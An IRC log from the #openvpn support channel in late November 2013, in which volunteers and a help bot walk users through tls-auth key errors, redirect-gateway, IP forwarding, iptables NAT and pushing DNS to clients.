21:33 <+pekster> See also: !tls-auth and !statickey for more info/links
21:34 <+pekster> billybig1: Sounds like you have mis-matched crypto settings (or possibly mis-matched comp-lzo settings)
21:34 < billybig1> i dont have compression set on the server or client
21:34 <+pekster> Check your configs, and post them for more help; posting guidelines in !configs, and gist lets you paste both files at 1 URL (see: !paste)
21:34 < billybig1> and didn't set any crypt, just defaulting to blowfish
21:35 < billybig1> im trying to run a basic server/client config first
21:35 <+pekster> Looks like you either don't have the same key on both ends or the 'direction' value is incorrectly set
21:36 < billybig1> cp'd ta.key from /root/easy-rsa/keys/ta.key /etc/openvpn/
21:36 < billybig1> scp'd the ta.key from the same dir to my laptop
21:36 < billybig1> direction set 0 on server 1 on client
21:36 <+pekster> Running easyrsa as root is generally bad, but you can save that for later (security help at !hardening)
21:36 < billybig1> no
21:36 < billybig1> i didnt run as roon
21:37 < billybig1> oh wait i did
21:37 < billybig1> i usually cp to /root to keep the files safe
21:37 <+pekster> That's ill-advised, but save that reading for later
21:38 <+pekster> Verify the key referenced in your config is really the key you copied over, and it can't hurt to do a checksum (md5sum or sha*sum) to confirm
21:38 < billybig1> to keep the keys safe in /root?
21:38 <+pekster> That's an AWFUL place to keep them, for the 3rd time. Read the reference I gave you
21:38 < billybig1> md5 matches
21:38 <+pekster> Unix/Linux security 101: do _not_ do things as root you don't need
21:39 < billybig1> well tell the arch guys :D
21:39 < billybig1> i will read that though
21:40 <+pekster> I don't use arch, so I have almost no care what they do; if you have a vested interest, suggest change (that's how FOSS change happens)
21:42 < billybig1> hmmm
21:42 < billybig1> well moving 'remote' before 'tls-auth' in my client config seemed to work
21:43 < billybig1> or atleast stopped the flood of errors
21:45 < billybig1> nevermind
21:45 < billybig1> bahhhhh
21:46 < billybig1> http://pastebin.ca/2484823
21:46 < billybig1> i just want to simply route client traffic through vpn
21:47 <+pekster> What traffic? Traffic to the server-side LAN, or arbitrary Internet-bound traffic?
21:48 < billybig1> internet bound traffic going in/out from my laptop
21:48 <+pekster> There's !redirect for that, complete with a handy flowchart
21:48 <+pekster> The config looks fine, though key-direction is not necessary when using tls-auth and the optional direction value
21:52 < billybig1> ok
21:54 < billybig1> well i've recreated the keys 3 times with easy-rsa twice now
21:54 < billybig1> still getting that tls error
21:55 < billybig1> i've used that script numerous times and never had this problem
21:56 <+pekster> Your client might be using the "wrong" key -- you've used relative paths without a --cd option, so it depends on the CWD
21:57 < billybig1> billybigrigger@minion ~/vpn $ sudo openvpn minion.ovpn
21:57 < billybig1> running client conf and all keys are inside ~/vpn
21:59 <+pekster> Then outside of packets arriving with modified data, there's no reason to get TLS channel HMAC errors
21:59 <+pekster> What happens if you temporarily disable tls-auth at both ends?
22:00 < billybig1> i try commenting them like a few hours ago
22:00 < billybig1> still getting them
22:00 < billybig1> im going to try absolute paths
22:01 < billybig1> same errors
22:01 <+pekster> You won't possibly get the same error
22:01 < billybig1> Sat Nov 30 04:01:16 2013 TLS Error: incoming packet authentication failed from [AF_INET]70.75.235.6:38187
22:01 <+pekster> TLS has no HMAC in the incoming packet
22:01 < billybig1> Sat Nov 30 04:01:16 2013 Authenticate/Decrypt packet error: packet HMAC authentication failed
22:01 <+pekster> Okay, that's different
22:02 < billybig1> thats with absolute paths
22:02 <+pekster> Sounds like either faulty crypto or your packets are getting mangled between your peers
22:02 < billybig1> ; is a comment in openvpn config right?
22:02 < billybig1> not #
22:02 <+pekster> Both are
22:02 < billybig1> ok
22:02 < billybig1> commenting tls-auth
22:03 < billybig1> no errors
22:03 <+pekster> Sounds to me like the key really isn't the same, for whatever reason
22:03 <+pekster> Crypto is clearly working if the connection succeeds
22:04 < billybig1> connection always succeeded, just filled with HMAC and TLS errors
22:04 < billybig1> !redirect
22:04 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:04 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
22:04 <+pekster> Maybe your link is mangling many (but not all) of the packets?
22:05 <+pekster> Think of --tls-auth a bit like doing a hash on every packet and including that "signature" as part of each and every packet; if the data does not match exactly, it gets dropped and noted in the log with high enough verbosity
22:57 < dimm0k> i have openvpn set up properly where client and server, as well as their respective LANs can see each other, however once the client connects i can no longer go on the internet
22:58 < dimm0k> i've followed the instructions here http://openvpn.net/index.php/open-source/documentation/howto.html#redirect, but no luck getting anything to change
22:58 <@vpnHelper> Title: HOWTO (at openvpn.net)
22:58 <+pekster> If you're routing LANs, you don't want the redirect stuff
22:58 < dimm0k> can't ping an internet IP address either...
22:58 <+pekster> You want the !howto, plus !serverlan and !clientlan together
22:58 <+pekster> None of that is !redirect
22:59 < dimm0k> !howto
22:59 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:01 < dimm0k> that howto is what led me to the redirect...
23:02 <+pekster> Clarify your !goal
23:02 <+pekster> Why are you redirecting all your Internet traffic?
23:02 <+pekster> Either 1) you don't really want that or 2) you do and you've failed to do it properly
23:02 <+pekster> If #2, you need to say so, not just assume we magically know what you want
23:02 <+pekster> !crystal
23:02 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
23:04 < dimm0k> i want to be able to route the client and server LANs, as well as tunnel internet traffic
23:05 <+pekster> Then it depends which direction you want to tunnel Internet traffic and ensure your routing, firewalls, and any NAT you need from RFC1918 space has been set up properly. Flowcharts in !redirect
23:09 < dimm0k> !redirect
23:09 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
23:09 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
23:10 -!- maodun [~mark@li600-216.members.linode.com] has joined #openvpn
23:10 < dimm0k> !def1
23:10 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
23:12 < maodun> I'm trying to trace all packets to and from a source ip to ensure they're going over my VPN. I have two linux machines, one a client, one a server. The server is located in japan and is being used as a gateway to redirect all traffic to the client, which is china. The redirect seems to be working for most sites - for example google sees my IP as the japanese one and takes me to google.co.jp
23:12 < maodun> However, typically blocked sites, like facebook and plus.google.com are still blocked
23:12 < maodun> I have set my dns to 8.8.8.8, so the problem is not there
23:13 < maodun> accessing these addresses by using the plain ip address (not the domain name) doesnt work either
23:13 < maodun> hence my attempt to trace the packet flow
23:13 < maodun> basically, it looks like all my traffic is going over the vpn and the vpn connection is operating smoothly, but the blocked sites are still being disrupted
23:15 < maodun> this either indicates to me a configuration problem, a dns problem, or the chinese firewall is able to distinguish based on the content of openvpn encrypted traffic
23:15 < dimm0k> !ipforward
23:15 <@vpnHelper> "ipforward" is (#1) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall or (#2) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
23:16 < dimm0k> !linipforward
23:16 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
23:19 < dimm0k> !winipforward
23:19 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
23:21 < dimm0k> !nat
23:21 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !openvznat !winnat and !fbsdnat for specific howto
23:23 <+pekster> maodun: traceroute tools should help you confirm the path; mind the setup of your DNS resolver too
23:24 < dimm0k> !linnat
23:24 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
23:25 < maodun> pekster: thanks, now it's looking like this may be a DNS issue after all. I was accessing the wrong plain ip address earlier (got confused and was trying to access the incorrect chinese ip address returned by china's dns servers)
23:25 < maodun> when I update /etc/resolv.conf in my client to use 8.8.8.8 as my nameserver things work
23:26 < maodun> however, I thought having "dhcp-option DNS 8.8.8.8" in my client configuration would be sufficient
23:26 < maodun> so now I'm trying to understand why it wasn't
23:26 <+pekster> No, see the info the bot has at !pushdns
23:26 < maodun> !pushdns
23:26 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
23:27 < maodun> pekster: thanks
23:27 < maodun> !windns
23:27 <@vpnHelper> "windns" is (#1) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#2) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#3) http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
23:29 < dimm0k> pekster: am i seeing double or is it a typo for the iptables Setup-Script at "# access policys for traffic from vpn to the local network" for the link http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules
23:29 <@vpnHelper> Title: OpenVPN/FAQ - Secure Computing Wiki (at www.secure-computing.net)
23:30 -!- maodun [~mark@li600-216.members.linode.com] has quit [Quit: Leaving.]
23:32 <+pekster> It would seem so; that is AFAICT not a mirror of the official howto, and even the official one is ill-maintained anyway by the "corporate" team that no longer cares much about keeping the non-wiki info up to date
23:32 <+pekster> You're generally better off writing proper netfilter rules anyway and loading them through your distro iptables-restore(8) initscript
23:33 <+pekster> #netfilter is more on-topic for netfilter tasks. I have very basic rulesets you can use as starting points: https://github.com/QueuingKoala/netfilter-samples
23:33 <@vpnHelper> Title: QueuingKoala/netfilter-samples · GitHub (at github.com)
23:33 <+pekster> As upstream can tell you, anyone writing "scripts" for netfilter rules are usually doing it wrong
23:36 < dimm0k> heh, as usual...  that would be me
23:43 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:49 < dimm0k> !openvzlinnat
23:50 <+pekster> !openvz
23:50 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
23:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
--- Day changed Sat Nov 30 2013
00:04 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 245 seconds]
00:06 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
00:07 < nadio> ---------------------------
00:07 < nadio> OpenVPN GUI
00:07 < nadio> ---------------------------
00:07 < nadio> Anslutningen till client misslyckades.
00:07 < nadio> ---------------------------
00:07 < nadio> OK
00:08 < nadio> ---------------------------
00:08 < nadio> obs sorry
00:09 < nadio> cmd password
00:09 < nadio> insufficient key material or header text no foudn in file '[[INLINE]]' (0/128/256 bytes found/min/max)
00:09 < nadio> what goes wrong here?=
00:13 <+pekster> The inline key you provided isn't valid and contains too few bytes of "data" to use as a key
00:15 < nadio> <ca>
00:15 < nadio> -----BEGIN CERTIFICATE-----
00:15 < nadio> <tls-auth>
00:15 < nadio> -----BEGIN PRIVATE KEY-----
00:15 < nadio> looks right to me ?
00:15 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
00:16 <+pekster> No, tls-auth needs a key generated with --genkey
00:16 <+pekster> !tls-auth
00:16 <@vpnHelper> "tls-auth" is "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS., or (#2) openvpn --genkey --secret ta.key to
00:16 <@vpnHelper> make the tls static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
00:16 <+pekster> See --tls-auth in th emanpage
00:16 <+pekster> That is _not_ your RSA private key component
00:17 <+pekster> When used inline, it must begin/end with the magic lines containing "OpenVPN Static key V1"
00:18 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
00:21 -!- keithzg [~quassel@184.70.164.246] has quit [Remote host closed the connection]
00:24 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
00:25 < nadio> pekster: anything more the hmac ? because I use openssl rather then openvpn to generate the keys
00:26 <+pekster> Not with tls-auth you don't
00:26 <+pekster> Have you read the manpage yet?
00:26 <+pekster> If not, GO DO IT
00:31 < nadio> pekster: if you dont wanna help dont answer.
00:32 -!- nadio [ice@unaffiliated/nadio] has left #openvpn []
00:34 <+pekster> Apparently reading 3 sentences is hard for some people :\
00:38 -!- crus [~crusader@2001:44b8:319e:2900:c1cc:a6cc:a762:f008] has quit [Read error: Connection reset by peer]
00:44 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
00:49 -!- crus [~crusader@2001:44b8:319e:2900:c58b:c33:4358:b212] has joined #openvpn
00:56 -!- crus [~crusader@2001:44b8:319e:2900:c58b:c33:4358:b212] has quit [Ping timeout: 260 seconds]
00:57 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
00:59 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
01:13 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:57 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
01:58 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
02:36 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
02:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:02 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 245 seconds]
03:15 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
03:16 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Remote host closed the connection]
03:17 -!- gardar [~gardar@gardar.net] has joined #openvpn
03:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
04:35 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
04:35 -!- mode/#openvpn [+o krzee] by ChanServ
04:35 <@krzee>  /kick nadio if you cant handle reading, dont ask.
04:49 -!- TheCaptain2000 [~quassel@79.81.21.95.dynamic.jazztel.es] has joined #openvpn
05:09 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
05:11 -!- gardar [~gardar@gardar.net] has joined #openvpn
05:21 -!- TheCaptain2000 [~quassel@79.81.21.95.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
05:24 -!- hirogen [~peeepp@05415245.skybroadband.com] has joined #openvpn
05:28 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
05:29 -!- Semor [~Semor@218.106.182.104] has quit [Ping timeout: 252 seconds]
05:30 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
06:00 -!- g0uZ [~NickServ@ip-74.net-81-220-31.lyon.rev.numericable.fr] has joined #openvpn
06:01 < g0uZ> is there a way to add iroute automatically by client ?
06:03 < g0uZ> I need to have a connect back from server lan to client lan but client lan will be different and are not predictable
06:04 < g0uZ> and I'd rather that users don't have an SSH access on the linux host where openvpn server part is, just to add/edit a /etc/openvpn/ccd/[cn_name] file
06:05 < g0uZ> is there ayn tricks to do that ?
06:05 < g0uZ> any*
06:15 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
06:16 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
06:16 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
06:30 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Quit: Leaving..]
06:32 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
06:32 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
06:33 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
06:33 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
06:33 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
06:33 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
06:34 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
06:34 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
06:34 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
06:34 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
06:35 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
06:35 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
06:37 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
06:40 -!- hirogen [~peeepp@05415245.skybroadband.com] has quit [Ping timeout: 246 seconds]
06:51 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 272 seconds]
06:55 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
07:12 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has joined #openvpn
07:21 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:26 -!- hirogen [~peeepp@05415245.skybroadband.com] has joined #openvpn
07:36 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
07:41 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
08:00 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:01 -!- hirogen [~peeepp@05415245.skybroadband.com] has quit [Ping timeout: 260 seconds]
08:05 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 246 seconds]
08:26 -!- roentgen [~irc@its.psw.ro] has joined #openvpn
08:26 -!- roentgen [~irc@its.psw.ro] has quit [Changing host]
08:26 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
08:57 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
09:34 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
09:37 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:46 -!- Mike-- [mad@probie.xs4all.nl] has quit [Ping timeout: 245 seconds]
09:49 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
10:01 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
10:02 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
10:32 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
10:35 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:38 -!- dothak [~dothak@c-98-224-238-114.hsd1.mi.comcast.net] has quit [Read error: Connection reset by peer]
10:39 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
10:39 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
10:41 -!- bjh4 [~bjh4@ool-4354103f.dyn.optonline.net] has joined #openvpn
11:00 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
11:08 -!- master_o1_master [~master_of@p4FD7B8D8.dip0.t-ipconnect.de] has joined #openvpn
11:12 -!- master_of_master [~master_of@p4FF24217.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
11:14 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:21 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
11:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
11:26 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:44 < dimm0k> omfg!  openvpn is working 100% now!
11:51 < dimm0k> i can f'in hug you right now pekster!
11:53 -!- hirogen [~peeepp@05415245.skybroadband.com] has joined #openvpn
12:05 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
12:08 < billybig1> !dns
12:08 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
12:08 < billybig1> !pushdns
12:08 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
12:08 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 264 seconds]
12:11 < billybig1> !def1
12:11 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
12:11 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
12:13 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
12:27 -!- stickpin [~b@173.244.215.195] has joined #openvpn
12:53 -!- hirogen [~peeepp@05415245.skybroadband.com] has quit []
12:56 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
12:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
12:57 -!- mode/#openvpn [+o dazo_afk] by ChanServ
12:58 -!- dazo_afk is now known as dazo
12:58 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
13:27 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
13:27 -!- bjh4 [~bjh4@ool-4354103f.dyn.optonline.net] has quit [Quit: Leaving]
13:32 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
13:34 -!- stickpin [~b@173.244.215.195] has quit [Quit: leaving]
14:03 -!- stickpin [~b@173.244.215.195] has joined #openvpn
14:15 < stickpin> I am trying to route all traffic through openvpn server. NAT is enabled, server.conf contains push "redirect-gateway def1", but DNS is not resolving - what did I miss?
14:19 < billybig1> im having same issues
14:19 < billybig1> for 2 days :D
14:26 -!- hgax [~hgax@162.243.112.153] has joined #openvpn
14:30 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 252 seconds]
14:32 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
14:49 < billybig1> bah
14:49 < stickpin> installing dnsmasq solved my problem
14:49 < billybig1> mmm
14:49 < billybig1> i can ping outside but DNS isn't working
14:50 < stickpin> what operating system is your server running?
14:50 < billybig1> archlinux
14:51 < billybig1> pinging ip's ie 8.8.8.8 works
14:51 < billybig1> but google.com doesn't
14:52 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
14:53 -!- stickpin [~b@173.244.215.195] has left #openvpn []
14:53 < billybig1> thanks
14:53 < billybig1> lol
14:53 < billybig1> anyone else?
14:53 -!- stickpin [~b@173.244.215.195] has joined #openvpn
15:00 -!- mc128k [~mc128k@host137-82-dynamic.61-82-r.retail.telecomitalia.it] has joined #openvpn
15:03 < reiffert> what's your nameserver pointing to?
15:04 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
15:09 -!- ele_ [~maarten@pinky.elexer.com] has quit [Ping timeout: 245 seconds]
15:13 -!- dimitry7 [~antonello@187.208.168.112] has joined #openvpn
15:15 -!- tony25DF [~antonello@187.208.168.112] has joined #openvpn
15:15 -!- dimitry7 [~antonello@187.208.168.112] has quit [Client Quit]
15:15 -!- tony25DF [~antonello@187.208.168.112] has quit [Read error: Connection reset by peer]
15:15 -!- dimitry7 [~antonello@187.208.168.112] has joined #openvpn
15:20 < billybig1> reiffert: still there?
15:20 < billybig1> nameserver on client?
15:20 < billybig1> or server?
15:22 < billybig1> server dns is 4.2.2.1
15:23 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
15:23 < reiffert> come on .. try to understand that my crystall ball is broken and further try to think of what you've been providing earlier.
15:23 < reiffert> that is: DNS is not working.
15:24 < reiffert> making me think that you are referring to your client computer.
15:24 < reiffert> my next question will be: does ping the.ip.add.ress.of.the.nameserver.set.on.the.client work?
15:24 < reiffert> and then: fix it.
15:27 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has quit []
15:28 < billybig1> no
15:28 < billybig1> but ping 8.8.8.8 works
15:28 < reiffert> you already said that
15:29 < billybig1> right, pushing dns server address to the client doesn't seem to be working
15:29 < reiffert> then fix it.
15:29 < billybig1> push "redirect-gateway def1"
15:29 < billybig1> push "dhcp-option DNS 8.8.8.8"
15:29 < billybig1> push "route 0.0.0.0 0.0.0.0"
15:30 < reiffert> remove the 0/0 route
15:30 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has joined #openvpn
15:30 < reiffert> 22:03 < reiffert> what's your nameserver pointing to?
15:30 < billybig1> still nothing
15:31 < billybig1> or still the same i should say
15:31 < reiffert> again, my crystall ball is broken.
15:32 < billybig1> isn't dns being pushed to my client?
15:32 < billybig1> dns server the openvpn server uses in /etc/resolv.conf is 4.2.2.1
15:32 < reiffert> sigh.
15:33 < reiffert> please refer to the logs on your client
15:34 < reiffert> !logs
15:34 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:37 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:43 -!- pgnd [M2aro5waCa@unaffiliated/pgngw] has joined #openvpn
15:47 -!- cjman [~cjman@184.75.223.18] has joined #openvpn
15:47 < cjman> hey everyone, I have a computer running openbsd 5.4, it has 3 nics, 1 is the WAN, 1 is LAN and 1 is guest LAN. By using openvpn I want to vpn all of the traffic from only the LAN and not the guest LAN. It seems that its a routing issue but I'm lost..Any suggestions?
15:51 -!- pgnd [M2aro5waCa@unaffiliated/pgngw] has quit []
15:54 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has joined #openvpn
16:11 -!- cjman [~cjman@184.75.223.18] has quit [Ping timeout: 240 seconds]
16:14 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Quit: AAAGH!  IT BURNS!]
16:15 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
16:15 -!- beer__ [~x@2601:a:4400:7c:68f3:a5ba:c3f6:9dbf] has joined #openvpn
16:15 -!- beer__ [~x@2601:a:4400:7c:68f3:a5ba:c3f6:9dbf] has quit [Remote host closed the connection]
16:22 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
16:24 -!- cjman [~cjman@71-90-213-185.dhcp.spbg.sc.charter.com] has joined #openvpn
16:33 -!- cjman [~cjman@71-90-213-185.dhcp.spbg.sc.charter.com] has quit [Ping timeout: 252 seconds]
16:46 -!- cjman [~cjman@184.75.221.42] has joined #openvpn
